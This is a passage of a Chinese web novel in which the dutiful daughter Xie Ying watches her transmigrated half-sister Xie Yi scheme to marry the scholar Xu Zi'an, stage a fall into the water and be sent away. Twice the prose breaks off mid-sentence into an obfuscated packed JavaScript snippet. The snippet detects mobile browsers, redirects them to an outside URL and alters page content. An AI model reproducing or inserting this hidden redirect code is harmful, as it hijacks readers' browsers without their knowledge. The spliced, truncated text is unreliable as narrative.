眼睁睁看着徐子安喜欢谢盈她做不到,得想个法子。谢宜虽然不喜欢这个姐姐,可却不得不承认,作为尚书府的嫡女,徐子安的家世上还够不着,可以在这上面想法子。 谢宜不是没想过从谢盈身上下手,可同为女子,她不想自己那么过分,丢了女子的脸。谢盈不仁不要脸,但她不能和谢盈一样。 这便对了,其他人的家世也高,而侍郎家的又低了些,想来徐子安自己也知道。 谢宜深吸一口气,对丫鬟吩咐道:“一会儿你去找徐公子,就说谢府姑娘有事儿,想请徐公子来帮忙。” 丫鬟点点头,谢宜循着谢盈离开的方向找过去,谢盈没去凑热闹,而是找了条溪涧,在一旁巨石上赏景。周围树木依旧茂盛,可临近秋日,有些树叶已经泛黄。 安阳公主和一群贵女在另一边赏诗弹琴,隔得甚远,谢盈觉得没什么意思,就来这边了。 谢盈没想到谢宜也会过来,按理说这会儿她不该和徐子安说话吗,怎么来这儿了? 谢宜走上前来,“二姐姐眼光一向独到,竟然寻得到这么美丽的景色,姐姐可介意妹妹留下同赏美景?” 谢盈笑着问:“我同妹妹说介意,妹妹会离开吗。” 谢宜笑了笑,这溪涧又没写谢盈的名字,凭什么不让她来。 谢盈道:“既然不走,何必多此一问,有什么话就直说吧。” 她不想赏景的心思都被人打扰。 谢宜说道:“今儿看了那么多学子,我就是想问问,二姐姐心仪什么样的男子?我们姐妹俩只差一岁,也都到了议亲的时候,二姐姐是喜欢才学渊博的男子,还是喜欢家世上乘的。是喜欢学文的还是喜欢习武的?” 谢盈面露不解,不知道谢宜为何问这个,她道:“婚姻大事向来是父母之命媒妁之言,这些该父亲母亲操心,三妹妹就不必多心了。” 她不想在这儿久留,谁知道谢宜葫芦里面卖的什么药?她带着丫鬟离开,谁知谢宜高声喊道:“二姐姐,那若依父母之命媒妁之言,母亲一定会为你寻一个家世才学俱佳的公子,才不辱没你谢家嫡女的身份。” 谢盈朝着谢宜看去,真是不知她想些什么,“这就不关你的事了。” 谢盈从这儿离开,赶不走谢宜她自己能走。只不过,她没看见徐子安跟着谢宜丫鬟往这边走来,他恰好听到这些话,闻言脸色尽失,恍然无措。 谢盈去同安阳公主她们一块儿了,出来一趟什么都不做,那岂不是白出门了。 只不过这回谢宜未曾像梦中一样跟着众人作诗,谢盈也没费心思应对。想来是因为前两次没成,也不敢了。今儿谢宜实在奇怪,谢盈想了又想,也没想出个所以然来。 她的稀奇古怪之处多了,想也想不通。谢盈梦见谢宜从后世而来,大概那个时代就是如此。女子想说什么便说什么,特立独行。可有一句话叫入乡随俗,自己若不改变,只想依着别人为她改变,那怎么成。 谢盈没看见徐子安,可谢宜看见了。 谢宜就当没见他变了神色,走过去行了一礼,“徐公子,我请丫鬟过来是想问问,你可有诗集诗册什么的,供我抄录拜读。” 徐子安艰难地摇了摇头,半响,他开口道:“谢姑娘,你二姐姐她……” 谢宜故意问:“怎么了?徐公子怎么突然提起我二姐姐?” 徐子安摇了摇头,“无事。” 他想问这些太过唐突,也不该他来问。的确,婚姻是大事,他实在不配。 谢宜松了口气,“那我这边也无事了,有劳徐公子走一趟。” 宴会下午结束,谢盈还跟着作了两首诗,在谢宜看,这些根本比不上李白杜甫的十分之一。 今日诗题有山有水,谢宜本想露一手,可是她细想,背过的诗句和题目并不相通。 吃过两次亏,谢宜总不能还不长记性。事不过三,谁会在同一个地方跌倒三次,她想的一首和山有关的是——“横看成岭侧成峰,远近高低各不同,不识庐山真面目,只缘身在此山中”。 诗是好诗,但今日来的地方是云山,供人攀登,只这一座无峰无岭,实在够不上那首。未免念出来之后遭人质疑,谢宜干脆不念了,也幸好那两次丢了人,今日无人追着她作诗,不然谢宜还真不知道怎么收场。 宴会终于结束,谢宜跟着谢盈回府,一路上姐妹俩都没说话,谢盈闭目养神,谢宜也不想开口。 回到谢府,谢盈提着裙子下车,她要去正院一趟,管家理事还得学着,而谢宜已经好些日子没去过了。 谢盈看着谢宜耸着肩,一副累极了的样子笑了笑,“三妹妹好些日子没去母亲那儿了,怎么,不学管家理事了,我尚记得三妹妹那会儿说,若学得快,要和我一起学的。” 谢宜抿了下唇,她都怀疑谢盈是故意这么说的,想她学倒是好好教呀,让她先学看帖子礼单,偏偏她不识字。她这几日也想过,想要在这儿立足,必须要识字,她实在写不了毛笔字,就用炭笔好了。 但识字也得花些功夫,这会儿过去完全是给谢盈送把柄。 谢宜道:“这些日子忙,二姐姐先学着。” 谢盈点了点头,直接去正院了,她怕谢宜想别的主意,笨鸟先飞,肯定是有用的。 沈氏看她刚出门就来看账本,不由道:“你也歇歇,别一天到晚就看书看账本,刚从外面回来就往这儿扎……今儿出门可还好玩?” 谢盈低下头道:“左右不过是一块儿作诗说话,也没什么意思。” 沈氏道:“刚放榜,云山又是好地方,就没些学子什么的?” 谢盈道:“是有些学生,不过都知书懂礼,我们在一处,他们聚在一处。” 出门在外,又有男女大防,的确不会多看。沈氏如今操心谢盈的婚事,她当初嫁给了谢昌韫,虽然谢家当初家世不好,可如今日子却也不错,她是有打算为女儿找一个读书人做夫婿的,家世差一些无妨。不过女儿自幼娇养,沈氏又舍不得女儿吃苦。 可读书人日后考取功名建功立业,若是选个武将,日后聚少离多的,出个门都担忧得不行。 沈氏道:“你也多用心留意着,有心仪的男子就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢宜觉得这些还算简单,只不过她看账本就傻眼了,账本用的不是阿拉伯数字,上面的繁体字比礼单上的还要难记。 以前谢宜也记账,Excel表格清晰明了,各种功能汇总又容易。而沈氏给的账本实在不好看,密密麻麻的字。她连字都不认得何谈看账本。 谢盈看她这样心里觉得好笑,当真以为什么都很容易。人想出口成章那得学,规矩礼仪也不是刚生下来就会的。 她道:“三妹妹慢慢看就是,莫要着急,就像礼单,前些日子你来了半日犯困看不进去,日子长了不也就会了嘛。” 谢盈声音轻柔,可谢宜听了却无端冒起火气。 她知道这个姐姐绿茶,这么说无非是想说她脑袋笨看得慢,这话看似体谅,可是恶毒得很。 谢盈深吸一口气,笑着说道:“二姐姐,我并非觉得为难,而是在想有更简单的法子,何必这样记账费时费力,费纸费墨。” 谢宜在谢盈桌上拿了张纸,然后从袖袋掏出自己做的炭笔,说道:“既是数,那也该有数字。” 她一边写一边念,“1、2、3……9、 10,二姐姐,母亲,这样看起来清晰明了,若是用数字记账,肯定比写字更容易。” 沈氏皱着眉,没说什么。 谢盈看了两眼,点了点头,“是不错。” 谢宜笑了笑,数字简单,哪怕谢盈不承认,依旧简单。 谢盈看了谢宜一眼,说道:“听起来倒是不错,可账本这东西都是铺子里的掌柜的写来给东家看的,又或是我们写来给别人看的。比方说谁来查账,账目哪里出了问题方便查看。三妹妹这些简单是简单,可是来了人怎么办,难道要一个字一个字地和人解释这是什么意思吗? 字难,那不如三妹妹把字也想些简单的,然后先教大儒,再教百姓,这样举国上下就都会了。” 15.第十五章 落水 沈氏也说道:“没错,你若想方便自己记,账本怎么写都无所谓,给别人看的。还是得规整些得好。” 谢盈看谢宜一脸呆滞,不可置信的样子说道:“三妹妹的主意是不错,只不过让全天下人都学下来,任重而道远。” 除非谢宜有本事让天下人学这个,不过那得有多大建树,况且女子不能入朝为官,就算日后徐子安在朝堂说得上话,可是让全天下学子学新字也不是一朝一夕就能学会的,短则十几年,长则上百年,根本不是一件容易的事。 谢宜咬着牙道:“只是学学数字,哪有你说的那么麻烦!” 谢盈分明是强词夺理,她又没说让天下人都学,总得慢慢来。 谢宜:“若只是守旧,不愿意接受新的事物,那永远都不会有进益!” 谢盈发现这个妹妹还真是油盐不进,她无奈道:“若三妹妹有本事要全天下都学这个,我就无话可说,可只是让你我母亲学,方便你记账本,那肯定是不成。” 说到底谢宜只是谢家的姑娘,她有什么本事让其他人听命于她呢,也太想当然了。 况且谢宜的本意也不是省墨省纸,估计就是不认识字,想要换个容易的自己认识的学。她看了一眼谢宜手里的炭笔,这东西写出来的字颜色淡,回想起谢宜推脱手不舒服,学看礼单坐了一上午,如今又用这个…… 谢盈不禁问:“三妹妹觉得字繁琐,废纸废墨就想改字,是不是觉得毛笔不好用,希望天下人都改用你这个。” 谢宜一噎,可的确是硬笔更好写字,写出来的也好看。不然千年之后毛笔怎么会用硬笔取代?存活不下去必然有其缘由,她只是想提早一点又有何不可。 沈氏按了按眉心,觉得有些头疼,“你这也太过胡闹了,若是传出去,外人怎么看我们谢家?” 谢宜没想到会这样,她以为沈氏会觉得数字简单好用,以后家里就用这个。 沈氏拿起谢盈和谢宜两人写的字,叹了口气道:“谢宜你自己看哪张更好看,哪个赏心悦目。若要图省事省心,省的事儿多了,日后总会在别的地方找补回来,还是得一步一个脚印。” 沈氏的话不算严厉,但很让谢宜难堪。凭什么这样说她,真是老古董,根本不知什么是好,什么是对 沈氏看她低着头,道:“这账册你回去先看着,等学会了再教你们怎么打里铺的。” 谢宜神色黯然地把账本接过,谢盈没再多看,她没想到谢宜连“一二三”都不认识,本来还想着铺子上的事多费心,但眼下看,一点都不着急。 等谢宜走后沈氏皱着眉道:“从前你三妹妹性子安静,不爱出门不爱说话,自落水后性子变了不少,也不知道变成这样是好是坏。” 谢盈:“是变了,但愿是好事吧。” 对谢宜不算熟悉的人都能看出她性子变了,可是没人往更深处想了。 若非谢盈做了梦,知道谢宜的种种不同,加上她那些东拼西凑词不达意的诗词,时常说的乱七八糟的话,她也不会相信,这人来自千年之后。 在谢宜口中,那个世界女子能有所建树,作事更方便,可来这里的谢宜却好像不是那样。不过和以前也有相同之处,依旧不爱读书,那个世界不用功也能把日子过好吗。 谢盈没有说别的,更没说谢宜好像换了一个人的事儿,等从正院回到照影楼,她依旧是看书抚琴。 有开铺子吊着,谢宜估计愿意学,果不其然,连着几日都没有出门。这些日子谢盈也懒得出门,沈氏想带她赴宴,她都推脱身子不适。 九月一晃而过,待到十月,天冷了不少,谢盈也换了厚衣裳。 府内树叶由绿变黄,树枝也光秃秃的,花园花草凋零,湖内一片残荷。不过暖房常有花儿送到照影楼来,倒是添了几分生机。 谢盈还记得梦里这个时候,祖母不喜她,连带着母亲也受责罚。谢宜虽在秋日,却是春风得意。铺子生意红火,她时常往寿安堂跑,把赵氏哄得眉开眼笑。 父亲兄长也很偏心她,这个时候徐子安对她有意,赶在冬日前上门亲提亲了。 梦里谢盈这段日子不快,但也不是什么高兴事儿都没有,她的亲事也定下来了,便是勇国公府的世子陆铮。 但这回,谢盈不出门,亲事也一直没着落,给沈氏愁得够呛。 今儿沈氏让丫鬟过来,拿来了几张画像,“你看看都是京城适龄的公子,有没有心仪的?别人家姑娘这个年纪亲事早就定下来了,就你半点不急,也不让我省心。成日就是在照影楼看那些书啊,琴谱啊……当初建照影楼是为了你住得舒服,现在看真想把楼拆了,也省得你成日闷在里面。” 谢盈受不住沈氏念叨,说道:“我看就是了。” 沈氏这回找来三张画卷,但谢盈没怎么看人,画是一个样,人见了又是另一个样。有时画像和真人差十万八千里,她直接看了下面的字。 第一张是安阳侯府的公子,姓纪名彦,家世算作不错。第二张是林家,书香门第,其父在朝为官,一家清流。 这二人在今年乡试上都考取了不错的名次。 谢盈又翻开的第三张,见到下面的名字瞳孔微缩,心里猛地一颤,第三张是陆铮,画像跟本人差了许多。 谢盈把画像放下,“婚姻大事,我听娘的就是。” 沈氏说道:“也不能全听我的,我觉得这几人都不错。纪家催得紧,成婚肯定早。林家书香门第,对孩子管的严,你嫁过去也不用操什么心。而勇国公府……家里复杂些,可是世子能干立得住,万事不用你操心。” 谢盈低着头,“娘,勇国公府就算了吧,纪家和林家都行。” 既然知道嫁给陆铮日子不好过,何必自讨苦吃。 沈氏点点头,“也好,这两个都不错,过些日子见见,最好赶在年前把婚事定下来。” 谢盈点点头,冲沈氏扬起一个笑,“我听母亲的。” 说完她打听起谢宜的婚事,“母亲,三妹妹饿婚事可定下来了?” 谢宜只比她小半岁,她这边出了变故,但谢宜那边总应该是不变的。 沈氏摇了摇头,说道:“倒是为她参谋了几个,只不过她 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沈氏自认自己无愧于心,其他的她也管不着,等再找找,若还一个都看不中,那就让谢昌韫操心吧。 谢宜是觉得沈氏过分偏心,给她看的都是什么歪瓜裂枣。相貌普通就算了,要么有通房,要么功课差,要么家里人多,就没有一个十全十美、像模像样的。 跟他们一比,徐子安好像格外出众,人品贵重,遇见不平会挺身而出,拔刀相助。也知书懂礼送她回家,不曾僭越。样貌也不错,温润如玉身形修长。 只可惜心里有别人。 谢宜倒不介意这个,在现代社会谁没谈过几段恋爱,谁心里没住过几个人,她只看中以后,只要徐子安日后一心一意对她就行。 可是徐子安那边根本没有消息,谢宜想,有些事还是得靠自己争取。 光靠谢家还不知嫁给一个什么样的人,靠自己那就另说了。本来婚姻嫁娶就是父母之命,媒妁之言。徐子安又娶不了谢盈,那娶她和娶别人又有何区别。 到十月中旬天气渐寒,沈氏让人去照影楼传话,过些日子带谢盈赴宴。也好看看纪家的公子。 谢盈知道这事躲不过,便点了点头,去就去吧,婚姻嫁娶也是人之常情,梦里嫁给谁也不作数。 谢盈本来都备好衣裳了,只不过家里发生了一桩大事。孙氏急着处理,宴会只能往后拖。 这不光是大事,对萧家来说更是一件丑事。 谢宜今日出门游玩的时候不慎落水,幸得一学子相救,救她的不是别人,正是徐子安。 这马上就入冬了,水也冷,谢宜穿的是男装,可是一落水,衣服全粘在了身上。徐子安把人救了上来,亦有不少人看见二人抱在一处。人救上来之后谢宜就送回谢府了。按理说徐子安也落了水,又是救命恩人,可以送回谢府一同医治。 可是,一通回来的下人说徐子安坚持自己去医馆。还说举手之劳无足挂齿,今日落水的是别人也会相救。 谢盈跟着沈氏去了溶月轩,谢宜面色惨白地躺在床上,艰难地睁开眼,问:“母亲,救我的那位公子呢。” 16.第十六章 处置 沈氏说道:“救你的公子已经离开了,问了你丫鬟,她们也不知姓名。若是日后见到,必当重金酬谢。” 谢宜愣了愣,“母亲,救我的是……” 沈氏打断道:“你落水时只顾挣扎,呛了水就昏迷了。等醒后就在了谢府,你怎么知道谁救了你?” 谢宜当然知道了,是徐子安救了她,可为什么到沈氏这儿就成了不知是谁救的呢?这话是什么意思? 沈氏看了她两眼,说道:“你院子里的丫鬟照顾不周,明知你前阵子落水过,却未曾小心看顾,我已经给你森便换了批人了。你还病着,得好好养病,按时喝药。” 这是沈氏的说法,若是徐子安跟着来谢家,那无论如何都得把人照顾周到,两人肌肤相亲,亲事算得上水到渠成顺其自然的。可是徐子安都没来谢府,坚持自己去了医馆,还说今日是谁都会救,看样子根本不想攀附谢家。 徐子安救了谢宜一命,总不能恩将仇报逼着他把谢家的女儿也给娶了,若是传出去,对谢家也不好,尤其徐子安也不是普通人,刚中解元,风光正盛。若是徐子安有意,自会来谢家提亲,可撇得这般干净,让沈氏都面上无光。 沈氏原本还以为谢宜并不知道是谁救了她,如今看来又像是知道的。 真是蠢货。 谢家的女儿落水,这事要是传出去也丢人,尤其这个时候正赶上谢盈议亲,说不准还会被影响。沈氏已不想在这待着了,嘱咐了谢盈两句,“你在这看好你妹妹。” 沈氏和谢宜说不知谁救的,可她自己知道,还得看看怎么给徐家送谢礼,不能逼着人娶,可还得好好感激其救命之恩。 谢盈点点头,谢宜身边的丫鬟已经换过两次了,本来她第一次落水也要换,可谢宜为丫鬟求情,说已经习惯她们照顾。后来那日她晚回,换了跟着出去的,今日落水,跟她出门的两个又被调去花房了。 谢盈吩咐新来的丫鬟去看药煎好没,她看了谢宜一眼,她躺在床上,目光有些呆滞。 谢盈也不知道这事最终会怎么解决,谢宜落水了,名声受损。若是徐子安不娶她,估摸着得等两年风头过了,所有人都把这事儿忘了再嫁人,要么就送去庄子。 可是徐子安本就心仪她,这回落水又英雄救美,为何不跟着一块儿回来。 沈氏不在,谢宜把头转到谢盈这边,看了她两眼说道:“是徐公子救了我,那晚是他救了我,今日也是他。” 谢盈看她这样莫名觉得谢宜有些可怜,她道:“母亲知道,不过徐公子去了医馆不欲来,还说今日是谁都会救的,母亲这会儿估计已经备了重礼登门道谢了。三妹妹落了水,这会儿身子还不成,等你好了,若想道谢再亲自过去。” 这话对谢宜来说,无异于晴天霹雳,不是说古代女子最注重名声,最看重清白,徐子安救了她,又有那么多人看着,他便这样走了? 还是说因为谢盈,徐子安还想着谢盈呢? 谢宜咳了两声说道:“可是徐公子救了我,抱着我上岸。肌肤相亲,我日后怎么办?” 这是问她? 谢盈本不想说,毕竟谢宜现在躺在床上,这会儿正是虚弱的时候,可是她又忍不住,日后怎么办?落水前怎么不想想别往水边跑。 谢盈:“三妹妹你既然知道这些,从前又落过水,为何这次还这么不小心。你难道不知落水之后又发生什么事,府内还有丫鬟,在外面有谁?这是幸得有人救你,若无人救你,恐怕就要淹死在那儿了。怎么办……兴许徐公子回家告知父母,择日来提亲。可也不是非得来提亲,人是救了你不假,可是不能因为此事逼着他对你负责吧。” 谢盈道:“母亲应该出门了,等母亲回来再说。” 谢宜抿了抿唇,只觉得天都塌下来了。她没有想过还有徐子安不愿意这个结果,若真的不愿意那她该怎么办? 谢宜就跟丢了魂儿一样,谢盈盯着她把这些汤药喝完,嘱咐她好好休息,并让几个丫鬟把她看住了。 谢盈也不想把人往不好的地方想,可刚才听谢宜说话,看她得知徐子安没来谢家的失落无措,似乎早就算好了一般。谢盈也是怕了,怕谢宜又做蠢事。 梦里根本没有这些事,梦种这个时候二人已经定亲了。如今谢宜落水,徐子安救了她,或许是回家请示父母了,又或许是根本不愿。 可为何不愿呢。 谢盈想不明白。 另一边徐子安去医馆要了些药,他是男子,落水后也没呛水,就是这个时节有些冷罢了。 把药带回客栈后,徐子安赶紧洗了澡,又喝了两杯热水,就让书童去煎药。 他头有些沉,打算去床上躺一会儿,谁知刚躺下就有人敲门。 书童不在,徐子安便起身自己开门,门口站着的是他认识的一个考生,也在客栈住着,今年考中举人了。这些日子他们都在京城温书、赴宴,为以后做打算,今日去湖边,这位同窗也去了。 男人见徐子安就道喜,“恭喜徐兄贺喜徐兄了,谢家来人了,这日后可就一步登天了,日后可别忘了提携我。” 徐子安皱了皱眉,他正了神色道:“这样的话还望兄台日后不要再说了,今日就算兄台意外落水,我也会竭力请相救。谢家姑娘遭此难对她来说已经够难受的了,若还拿着人家姑娘的清誉开玩笑,我等真是愧做读书人。我亦不想携恩图报,还望兄台答应,日后再有人问此事,莫要提及我,便说是人府上丫鬟相救。” 男人看徐子安一脸正气,丝毫不为救了尚书府的姑娘得意,自己却还这么想他,不由低下头,“是我言行无状误会徐兄了,徐兄高风亮节,我自愧不如。徐兄放心好了,如果有人来问,我会为徐兄解释。” 徐子安松了口气,揖了一礼,然后去一楼见谢家人,他打听着去了一楼的雅间,敲门进去,是沈夫人。 沈氏安置完谢宜,赶紧备了厚礼来客栈,她见徐子安进来,她便低下头鞠躬道:“说来也是缘分,徐公子救了我家女儿两次,多谢徐公子……” 徐子安顾不得礼节打断沈氏的话,又把刚刚说的话又说了一遍,“算不得缘分,只是碰巧,性命攸关之际,顾不得别的,还请夫人见谅,也请夫人日后莫要提及此事,否则有碍府里姑娘名声。” 沈氏听明白了,她点点头,“徐公子也请放心,谢家不会协恩图报。今日之事多亏了你,无论如何还请收下这些谢礼。” 徐子安摇摇头道:“谢礼就不必了,今日换作是谁我都会救,并非冲着谢礼。” 徐子安烦恼后面这些事却也不后悔,他虽不喜谢宜,可不能眼睁睁的看着一条人命就那么没了。 徐子安对着沈氏拱手,“我还要回去温书,夫人请回吧。” 沈氏看他离去的背影觉得有些可惜,徐子安家世是差了些,可是贵在人品贵重功课又好。若是没发生这样的事儿,或许可以给盈儿说一说,只可惜出了这样的事儿,再说就不合适了。 不仅不合适,和纪家的邀约也得推了,总得等风头过去了。谢宜那边,等养好身子送走吧,这般添乱,沈氏也是怕了。 沈氏下午又去了今日在湖边目睹此事的公子姑娘家中,一并送上重礼封口,等回到府里,天都黑了。 谢昌韫已经下职了,人在正院,见沈氏回来他道:“夫人,你先坐下喝口水。” 沈氏今日也是累极了,等她喝完水,谢昌韫问:“徐家那边怎么说。” 沈氏道:“徐家在固安,根本不知道此事,徐子安口口声声说今日换了别人也会救,让我莫要再提。他是今年解元,他不愿还能强按着逼着人把谢宜给娶了,若传出去谢家压迫学子,也不好听。最后连谢礼都没收,我便回来了。” 谢昌韫皱眉道:“不知变通,娶谢家的女儿还委屈他了?” 若是娶了谢宜,谢家定会为他图谋,徐子安也有功名,不愁日后平步青云。就算不喜谢宜,可还能纳妾,何愁没有喜欢的。 读书人自视甚高也不好。 这话沈氏不爱听,“那也得看看是谢家哪个女儿,老爷也别嫌我说话难听。谢宜这阵子说话做事都跳脱得很,莫非有谢家撑着,这般行事传出去只会让人笑话。今日回来还扮的男装……还连累盈儿不能议亲。” 说起这些沈氏就一肚子气,这哪像是高门贵女,从前性子软是性子软,不爱出门也无妨,如今爱出门了,却回回惹事生非,半点不让人省心。 谢昌韫理亏,“是苦了盈儿了。” 沈氏道:“这回苦也不打紧,可若再放任下去,保不齐还会做出什么事来,到时候影响的就是宁姐儿她们,如今谢宜她也喝了药,身子没什么事,这孩子怎么处置老爷总得有句准话。” 沈氏虽然往各家送了礼,可今日之事众人心知肚明,谢宜落了水,被徐子安救起,可人家又不愿意娶。 对外说是丫鬟救的,可谁都知道是怎么回事,只当意外也无妨,怕就怕别人说谢家女轻贱,故意落水还竹篮打水一场空。 沈氏的意思是先把谢宜送走,等这边风头过了再接回来说门亲事,到时候谢家多提携补偿点,也算有条出路。 若是谢昌韫不愿意送她走,那就暂且关起来,不能出门,好好养养这性子。总好过成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534609|169986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲嫁人了,再被送回来。 谢昌韫道:“先送老家些时日,但我就怕在老家管不着,又惹事。” 沈氏道:“一群婆子看着,能跑到哪儿去。” 谢昌韫,“那也得等身子养好再说吧。” 沈氏点点头,老家离得远,这会儿谢宜还病着,这个时候送走,恐怕会死在路上。沈氏虽不喜她,可也不想她出事。 夜色宁静,夫妻二人三言两语中就做了决定。 谢盈是第二日才知道的,沈氏和谢昌韫打算把谢宜送去老家庄子,过两年再接回来议亲。谢宜此刻,应该也知道了。 谢盈本不想再去溶月轩,但是谢宜身边的丫鬟来传话,说谢宜临走之前,想见她一面。 谢盈想了想,还是去了。 十月下旬,天上飘了雪花,一开始只是薄薄的碎雪,后面雪势慢慢大了。 谢盈穿了冬衣,身上还披了兔子毛镶边的大氅,手里抱着个掐丝镶嵌宝石的铜手炉。 她到门口后有丫鬟掀起厚重的门帘,谢盈微微低头,进屋被热气袭了一脸。 到底是尚书府的小姐,虽然要被送走,可屋里还是暖如春日,丫鬟虽然被换了几波,和照顾得依旧尽心。 谢盈把大氅脱下,交给丫鬟,屋里有些许药味,谢宜散着头发靠坐在床上,眼睛看着窗子。 谢盈寻了个椅子坐下,道:“听丫鬟说你要见我。” 谢宜看了过来,拢了拢耳边的碎发,“嗯,是想见见你,谢盈你知不知道,徐子安为何不想娶我?” 谢宜朝着谢盈笑了笑,“因为他喜欢你。” 谢盈眼中露出一丝疑惑,徐子安怎么可能喜欢她呢? 她道:“三妹妹想多了,他不娶你,只是因为他想救你,若你是想他娶你才落水的,那你的算盘打错了。” 本来这只是谢盈的猜测,可如今看,却真的像是谢宜故意落水,引得徐子安相救。 一来她落水过,若非有意,落水过的人肯定离水边远远的,很难再落水。二来徐子安好歹是她恩人,怎能因为不想娶她,就这个样子,还想为何徐子安不想娶。 留的一命,蹉跎亲事,其实也不亏。 谢宜笑了笑,“你是站着说话不腰疼,过些日子我就要被送去老家了,你应该挺高兴的吧。” 谢盈:“是高兴,至少不用每天提心吊胆,担心你惹出什么祸事,连累我。” 也不用担心再像梦中一样。 谢宜笑了,“我惹祸?” 谢盈道:“你现在还觉得自己没惹祸?不会还觉得是谢家对不起你,是我对不起你吧。” 谢宜抿了抿唇,“二姐姐,你是嫡女,不知庶女活得多艰辛……” 不然她也不会为了以后,在赵氏寿宴上穿一身素色,就是从那之后,她和谢盈之后就好像有个天平,所有东西都不住地朝谢盈倾斜。 谢盈有的东西还不够多吗,家世、容貌、父母疼爱,可原身呢,又有什么?谢盈有徐子安的喜欢,她又有什么? 谢盈很早之前就想问了,“艰辛,每月十两银子的月钱,你同我说活得艰辛,身边四个丫鬟伺候着,你说活得艰辛?是该说你不知人间疾苦还是什么?” 谢宜道:“可你呢,锦衣华服,连炉子都嵌着宝石。” 谢盈道:“你若这么想,日子就过不下去了,再往上还有皇上、公主,只往高了比,只会给自己找不痛快。” 谢盈微低下头,“何况,你只是看见我漂亮的衣裳手炉,却没见我日夜读书抚琴,对功课一日不敢懈怠,闲暇时候便去正院,帮母亲管家理事。你呢,女扮男装出门游玩,去学堂三天打鱼两天晒网,字认不得,更不会写,管家理事接人待物更是一窍不通。” “谢宜,若你是父亲,你能像家中现在对你一样对这样的女儿吗?”这是谢盈第一次喊谢宜的名字,平日里都是叫她三妹妹。 她这些日子也不痛快,日夜忧心,时常梦魇。 谢盈道:“那些诗、点心……其实都不是你自己想出来的吧。” 谢宜脸色变了,“你胡说什么!” 谢盈道:“闻道龙标过五溪,欲把西湖比西子。这两句我至今没明白什么意思,翻遍典籍也没弄清楚其中几个词的意思,你也未曾解释。其实不适随口一想,而是根本解释不通吧。你从前未去过学堂,怎么会突然之间就学会了呢。” “这些诗词谁做的,我不知,可不花力气不费功夫拿来就用,你还抱怨我不知你活得多艰难。”谢盈笑了笑,事到如今,她依旧没敢提自己做梦的事,“谢宜,真的艰难吗?” 17.第十七章 送走 谢盈看着她:“甚至你去祖母那儿,都是等我喂了药再过去,不想出力,却想有好处,天底下哪有这么便宜的好事。” 坐享其成,也不过是谢昌韫读书用功,好好做官,谢宜投生到这样的人家,能拿着十两的月钱吃喝玩乐,别的事,都是付出一分得到一分。功课如此,情份如此。 也是会找借口,说徐子安喜欢她。本来婚姻嫁娶父母之命,媒妁之言,徐子安想遵循有何不对,若落个水被人救下肌肤相亲就成亲,那天下人只会效仿。 估计到时候一面镜湖都不够男男女女跳的。 说到底,谢家给谢宜的并不少,若还不知足,那估计只有重新投胎才知足了。梦里徐子安喜欢她会做诗有才华,如今那些诗词不达意,都解释不通,又何来欣赏之说。 谢宜的确与她们这些女子大不相同,甚至可以说格格不入,胆子大,想出的点子新奇,有时她也想问问,是不是那里所有人都像她一样想坐享其成,可又觉得不是。 谢宜口中女子能有自己的建树,不困于一方天地,能做自己想做的事,这应该不是假的。可为什么到了谢宜,便成了每日出门玩,不喜看书理账,的确标新立异与众不同,可别人看来,她是病了疯了。 谢宜偏过头,不再看她,她淡声说道:“成王败寇,史书是由胜利者书写的,我不与你争辩,因为你现在有千万种理由解释我为何在这儿,想怎么粉饰是你的事,我就算解释你也听不进去。” 她是输了,又不是死了,就算去了老家,不还是有回来的时候,或许她可以趁机找机会,若是此时有人愿意娶她,就不必回老家了。 谢盈觉得她油盐不进,真正的谢宜怕是在落水那日就已经死了,所以才有了借尸还魂而来今日的谢宜。谢盈自己也怕,所以不能找和尚道士来做法念经。而且谢盈总觉得这是一条人命,很多时候不敢轻举妄动。如今看来,谢宜蠢又天真。 若是来到这好好读书识字,又或是好好照顾祖母,会有桩不错的婚事。拿着别人的东西,总有用完的一日,就算是梦中,谢盈也不信徐子安一辈子都发现不了那些诗词不是谢宜写的,或许发现了两人成婚已久,也能说清,又或许苦于欺骗,相看两厌。 谢盈道:“三妹妹这些话我没听过,也不知是谁同你说的。” 谢宜心里冷笑,自然是没听过了,谢盈有没有接受过现代教育,自然不知道这些话是什么意思。 很快,谢宜就听到了后面的话,不禁让她脸色一变。 谢盈笑着说:“三妹妹和从前相比就好像换了一个人,好像自从上次落水之后,就变了。从前三妹妹不爱出门,不爱读书,性子也软,绝没有这么牙尖嘴利的时候。如今真是大不相同,能说会道,伶牙俐齿,有时我也奇怪一个人怎么能朝夕之间变了这么多,就像完全换了个人,总说些我们听不懂的话。” 谢盈看了脸色变了,起身道:“三妹妹,时辰不早了,我就先回了,愿你早些养好身子。” 说这些谢盈是不想她再出幺蛾子,想来谢宜也不愿意别人知道她不是真正的谢宜。若是她再做这些特立独行的事,也得担心会不会被发现。 谢盈带着丫鬟离开,谢宜看着她的背影久久不能回神。她想回家了,这个时代一点都不好,她要回家。 可是回不去,谢宜试过,她也不敢真死,再说那个世界自己已经死了,回哪儿去呢。谢盈她不会真的发现什么了吧?这可是她最大的秘密。古代人这么封建,若是真发现了她借尸还魂不是原来的谢宜,会不会把她给烧死? 谢盈从溶月轩出来,抬头看了眼天,虽然还下着雪,可天却晴了。阳光下,雪面上散发着彩色的光,看起来还怪好看的。 照云看谢盈婷下来,她也停了下来,等了一会儿她问:“姑娘,一会去哪儿?” 谢盈道:“回照影楼吧,今儿景色好,画画看书都成。” 总不能因为谢宜要回老家了,梦里危机解除了,她就什么都不干,光玩去吧,今日景色好,若能将此美景画下来,也能留念。 照云点点头,“那姑娘小心些,这边积雪还没扫。” 